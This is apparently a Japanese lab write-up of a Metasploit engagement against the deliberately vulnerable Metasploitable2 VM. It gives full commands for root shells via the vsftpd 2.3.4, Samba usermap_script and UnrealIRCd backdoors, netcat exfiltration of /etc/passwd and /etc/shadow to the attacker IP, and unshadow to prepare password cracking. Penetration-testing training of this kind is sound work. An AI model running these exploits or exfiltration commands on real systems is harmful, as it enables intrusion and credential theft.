
MetasploitによるMetasploitable2に対する完全なエクスプロイトウォークスルー — vsftpdバックドア、Samba CVE-2007-2447、UnrealIRCdバックドア、Netcatによるデータ流出、および認証情報クラッキングの準備。
Metasploit Framework を用いた実践的な攻略手順 — PostgreSQL データベースのセットアップ、db_nmap スキャン、vsftpd・Samba・UnrealIRCd による 3 つの root シェル、Netcat を使った認証情報の流出までを解説します。
このリポジトリは、隔離された VirtualBox ラボ内の Metasploitable2 に対する Metasploit の完全なエンゲージメントを文書化したものです。取り扱うトピック:
db_nmap を実行してスキャン結果をデータベースに直接保存usermap_script コマンドインジェクション) の悪用/etc/passwd と /etc/shadow を流出させ、unshadow で結合| マシン | 役割 | IP アドレス |
|---|---|---|
| Kali Linux 2026.1 | 攻撃者 | 192.168.1.4 |
| Metasploitable2 | 標的 | 192.168.1.3 |
ネットワーク: 192.168.1.0/24 — VirtualBox 内の完全に隔離された NAT ネットワーク。
# PostgreSQL を起動し、データベースを初期化 (初回のみ)
sudo systemctl start postgresql
sudo msfdb init
# Metasploit を起動
msfconsole


msf6> db_status # 確認: Connected to msf. Connection type: postgresql.
msf6> workspace -a 178-metasploitable2
msf6> workspace # アクティブなワークスペースの確認

msf6> db_nmap -A 192.168.1.0/24 -n

msf6> hosts
msf6> services

Metasploitable2 上で 2 つの FTP サーバーを発見:
| ポート | サービス | 情報 |
|---|---|---|
| 21/tcp | ftp | vsftpd 2.3.4 |
| 2121/tcp | ftp | ProFTPD 1.3.1 |
2011 年 7 月、vsftpd 2.3.4 のソースアーカイブが侵害され、FTP ユーザー名に :) が含まれているとポート 6200 で root シェルが開くバックドアが挿入されました。CVE: CVE-2011-2523。
コード差分: https://pastebin.com/AetT9sS5
msf6> search type:exploit name:vsftpd
# 結果: exploit/unix/ftp/vsftpd_234_backdoor (rank: excellent)
msf6> use exploit/unix/ftp/vsftpd_234_backdoor
msf6> info




msf6> set RHOSTS 192.168.1.3
msf6> set RPORT 21
msf6> set LHOST 192.168.1.4
msf6> exploit


meterpreter> shell
whoami # root
uname -a # Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

ハッシュ化されたパスワードの抽出:
cat /etc/shadow | grep '$1'

Samba バージョン 3.0.0~3.0.25rc3 では、認証前にユーザー名フィールド内のシェルメタ文字が username map script オプションを介して直接 /bin/sh に渡されます。Metasploitable2 は Samba 3.0.20-Debian を実行しています。
msf6> search type:exploit name:samba
# 約 7 個のエクスプロイトが見つかる
msf6> use exploit/multi/samba/usermap_script
msf6> info



msf6> set RHOSTS 192.168.1.3
msf6> exploit


whoami # root
smbd --version # Version 3.0.20-Debian
タブ 2 — Kali (受信側):
nc -l -p 4567 > passwd.txt
タブ 1 — エクスプロイトシェル (送信側):
cat /etc/passwd | nc 192.168.1.4 4567


/etc/shadow についても繰り返し、その後結合:
unshadow passwd.txt shadow.txt > metasploitable_logins.txt
cat metasploitable_logins.txt
UnrealIRCd 3.2.8.1 は、ソースコードにバックドアが混入された状態で配布されました。ポート 6667 に AB を送信すると、サーバーは後続のコマンドを認証なしで root 権限で実行します。
msf6> use exploit/unix/irc/unreal_ircd_3281_backdoor
msf6> set payload cmd/unix/bind_netcat
msf6> set RHOSTS 192.168.1.3
msf6> set LHOST 192.168.1.4
msf6> set RPORT 6667
msf6> exploit


whoami # root
uname -a # Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
必要なオプション:
| オプション |
|---|
db_nmap → hosts → services → search → use → info → show options → set → exploit → shell
exploit 前に info を確認する習慣は重要 — CVE、影響を受けるバージョン、必要なオプションが表示される| 値 |
|---|
| 説明 |
|---|
| RHOSTS | 192.168.1.3 | 標的の IP |
| RPORT | 6667 | IRC のデフォルトポート |
| LHOST | 192.168.1.4 | Kali リスナーの IP |
| payload | cmd/unix/bind_netcat | Netcat によるバインドシェル |
| ミス | 結果 | 修正方法 |
|---|
msfdb init をスキップする | データベースなし — スキャン結果が保存されない | 初回使用前に sudo msfdb init を一度実行 |
LHOST を設定しない | リバースシェルのコールバック先がない | 必ず LHOST を自身の Kali IP に設定 |
毎回 msfdb init を実行する | 既存データが上書きされる | 一度だけ実行し、sudo msfdb status で確認 |
| 間違った RPORT | エクスプロイトが静かに失敗する | services でポートを確認してから設定 |
| Netcat リスナーを早く閉じる | ファイル転送が途中で切れる | パイプコマンド後、CTRL-C の前に少し待つ |
unshadow をスキップする | パスワードクラッカーが分割ファイル形式を拒否する | 必ず passwd と shadow を先に結合 |